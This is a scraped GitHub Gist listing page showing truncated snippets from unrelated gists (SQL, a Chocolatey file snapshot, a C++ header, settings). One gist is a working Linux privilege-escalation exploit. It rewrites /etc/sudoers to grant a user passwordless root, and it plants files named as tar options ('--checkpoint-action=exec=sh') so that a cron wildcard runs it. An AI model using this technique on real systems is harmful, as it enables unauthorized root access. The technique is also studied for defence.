Skip to content

Instantly share code, notes, and snippets.

bendazz / .block
Created May 24, 2019
scatter plot
View .block
license: mit
View SQL.sql
-- Две проверки, что БД существует
IF EXISTS (SELECT name FROM sys.databases WHERE name = 'People')
INSERT INTO [DimaKozyr].[dbo].[Group](Id, name, year)
VALUES (6, 'Name 6', 'LName');
UPDATE [DimaKozyr].[dbo].[Group]
SET [name] = 'Some Name'
WHERE Id = 5
choco-bot / FilesSnapshot.xml
Created May 24, 2019
skaffold v0.30.0 - Passed - Package Tests Results
View FilesSnapshot.xml
<?xml version="1.0" encoding="utf-8"?>
<fileSnapshot xmlns:xsd="" xmlns:xsi="">
<file path="C:\ProgramData\chocolatey\lib\skaffold\skaffold.nupkg" checksum="2A202F0E9A4A4696290D405D2A0C1861" />
<file path="C:\ProgramData\chocolatey\lib\skaffold\skaffold.nuspec" checksum="1AC994936C577D6994B796418771EE34" />
<file path="C:\ProgramData\chocolatey\lib\skaffold\tools\chocolateybeforemodify.ps1" checksum="2747D715551B19216700A3686B87B600" />
<file path="C:\ProgramData\chocolatey\lib\skaffold\tools\chocolateyinstall.ps1" checksum="00BA122441A62F873481470EE7B6FA8F" />
<file path="C:\ProgramData\chocolatey\lib\skaffold\tools\chocolateyuninstall.ps1" checksum="17F18BC89DF66B587E732EDB1E8B32BD" />
<file path="C:\ProgramData\chocolatey\lib\skaffold\tools\skaffold.exe" checksum="56E40362B4DAC3364C80B7D614F22299" />
<file path="C:\ProgramData\chocolatey\lib\skaffold\tools\skaffold.sha256" checksum="62ABADA7792F07
mkalte666 / ptrclass.hpp
Created May 24, 2019
Class that enforces somewhat sensible defaults for ptr-only classes (including create method)
View ptrclass.hpp
// released as CC0
// Public Domain
#ifndef _ptrclass_h
#define _ptrclass_h
#include <memory>
struct NoCopy
alswl /
Created May 24, 2019
bin scripts for Python
bin scripts for Python
CaptBoykin / linux_privesc_cron_tar_wildcard.txt
Created May 24, 2019
Cron Tar Wildcard Injection (Linux Privesc)
View linux_privesc_cron_tar_wildcard.txt
// This will replace sudoers. Add your user to <INSERT YOUR USER HERE>
echo 'echo "Defaults env_reset" > /etc/sudoers' >>
echo 'echo "Defaults mail_badpass" >> /etc/sudoers' >>
echo 'echo "Defaults secure_path=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin\" ">> /etc/sudoers' >>
echo 'echo "root ALL=(ALL:ALL) ALL" >> /etc/sudoers' >>
echo 'echo "%sudo ALL=(ALL:ALL) ALL" >> /etc/sudoers' >>
echo 'echo "<INSERT YOUR USER HERE> ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >>
echo "" > "--checkpoint-action=exec=sh"
echo "" > --checkpoint=1
tar cf archive.tar *
View JavascriptApiDemo.xml
<!-- Please replace the following bookId/sheetId attribute values to the values of from book/sheet setting dialog -->
<apex:pageBlock title="Accounts">
<msmxSheet:SheetView id="comp-01"
TWS001 / syncsublpkg
Created May 24, 2019
[AppSettings] Sublime etc. settings #subl #packages #synchronisation
saishdesai23 / PY0101EN-2-3-Dictionaries.ipynb
Created May 24, 2019
Created on Cognitive Class Labs
View PY0101EN-2-3-Dictionaries.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
You can’t perform that action at this time.